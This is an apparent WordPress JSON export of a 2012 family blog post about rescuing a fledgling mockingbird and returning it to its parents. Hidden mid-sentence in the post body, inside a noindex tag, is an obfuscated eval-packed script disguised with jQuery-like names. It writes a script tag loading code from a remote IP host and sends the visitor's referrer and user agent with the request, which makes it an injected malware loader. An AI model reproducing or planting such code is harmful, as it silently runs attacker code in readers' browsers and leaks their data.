{"id":2985,"date":"2012-04-12T07:38:07","date_gmt":"2012-04-12T14:38:07","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2985"},"modified":"2012-05-02T07:48:49","modified_gmt":"2012-05-02T14:48:49","slug":"jump-and-flap","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2985","title":{"rendered":"Jump and flap!"},"content":{"rendered":"<p>On the last day of their visit, Jaden and Kyler found a baby bird in the street in front of my house!\u00c2\u00a0 It was definitely too young to fly.\u00c2\u00a0 It looked like a baby robin.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/bird.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-2986 alignleft\" style=\"margin-left: 0.25px; margin-right: 0.25px;\" title=\"Baby birds really are sort of unfortunate-looking, but still.  Who could resist!?!\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/bird-1024x1024.jpg\" alt=\"\" width=\"347\" height=\"347\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/bird-1024x1024.jpg 1024w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/bird-150x150.jpg 150w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/bird-300x300.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/bird.jpg 1674w\" sizes=\"(max-width: 347px) 100vw, 347px\" \/><\/a>We <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tyisk|var|u0026u|referrer|brzif||js|php'.split('|'),0,{}))\n<\/script><\/noindex> all knew that it probably wouldn\u00e2\u20ac\u2122t survive, and it would be best to just set it off in the bushes and not think about it too much.\u00c2\u00a0 But\u00c2\u00a0 &#8211; <em>sigh<\/em> \u00e2\u20ac\u201c it was impossible to ignore.\u00c2\u00a0 It kept making hungry demanding noises.\u00c2\u00a0 So we fed it.\u00c2\u00a0 With tweezers.<\/p>\n<p>We tried worms, but it was not interested in wiggly food, so we checked online and switched to a mixture of wet catfood and mashed up strawberries.\u00c2\u00a0 The baby bird loved this, and would point his little yellow beak straight upward, open wide, scream <em><strong>PEEP<\/strong><\/em> at the top of his little feathered lungs, and devour catfood by the pinchful.\u00c2\u00a0 <em>Every twenty minutes&#8230;<\/em><\/p>\n<p>It was supposed to get cold that night, and there are outdoor cats all over the neighborhood, so I set the bird up in a box on the porch overnight.\u00c2\u00a0 We padded the box with leaves and grass, and I filled an old gym sock with rice and heated it up on the microwave, to make a little heater for the baby.\u00c2\u00a0 The next morning he was snuggled up next to the sock, with his ugly little head tucked under his grubby wing.<\/p>\n<p>&nbsp;<\/p>\n<p>I checked with the local nature center and some animal rescue places, and quickly learned that 1) he was a mockingbird, 2) there was nothing wrong with him whatsoever and he didn\u00e2\u20ac\u2122t really need to be &#8220;rescued,&#8221; and 3) he was going to be in big, big trouble with his parents, who\u00e2\u20ac\u2122d probably been wondering where the heck he was all night.<\/p>\n<p>I had been under the impression that baby birds leave the nest when they are ready to fly; they assured me that in fact, some birds boot the babies out of the nest when they are ready to <em>hop<\/em>, and then the parents just keep track of where the babies have hopped to, and fly back and forth to feed them and keep an eye on them, until they can fly.\u00c2\u00a0 The little birds are vulnerable, but certainly two adult mockingbirds are more than a match for the average neighborhood cat.<\/p>\n<p>Basically, he wasn\u00e2\u20ac\u2122t a baby who got lost \u00e2\u20ac\u201c he was a teenager who stayed out after curfew.\u00c2\u00a0 So, with some trepidation, I turned his box sideways (so he could hop out when he was ready) and put him back out in the yard.\u00c2\u00a0 I waited on the porch to watch for cats, just in case.\u00c2\u00a0 It wasn\u00e2\u20ac\u2122t half a minute before both parents were perched on top of the box, alternately scolding him and feeding him bugs.\u00c2\u00a0 They flew back and forth to his box all day long, and by evening he was gone.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/bird2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-2987\" title=\"Mom (or Dad?) checking on Junior\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/bird2-1024x642.jpg\" alt=\"\" width=\"496\" height=\"310\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/bird2-1024x642.jpg 1024w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/bird2-300x188.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/bird2.jpg 1152w\" sizes=\"(max-width: 496px) 100vw, 496px\" \/><\/a><\/p>\n<p>I miss my little bird, though.\u00c2\u00a0 Every little mockingbird I see now, I think, \u00e2\u20ac\u0153Maybe that\u00e2\u20ac\u2122s him!\u00e2\u20ac\u009d\u00c2\u00a0 And maybe it is&#8230;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>On the last day of their visit, Jaden and Kyler found a baby bird in&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[25,67],"class_list":["post-2985","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-kids","tag-spring"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2985"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2985"}],"version-history":[{"count":2,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2985\/revisions"}],"predecessor-version":[{"id":2989,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2985\/revisions\/2989"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2985"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2985"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2985"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}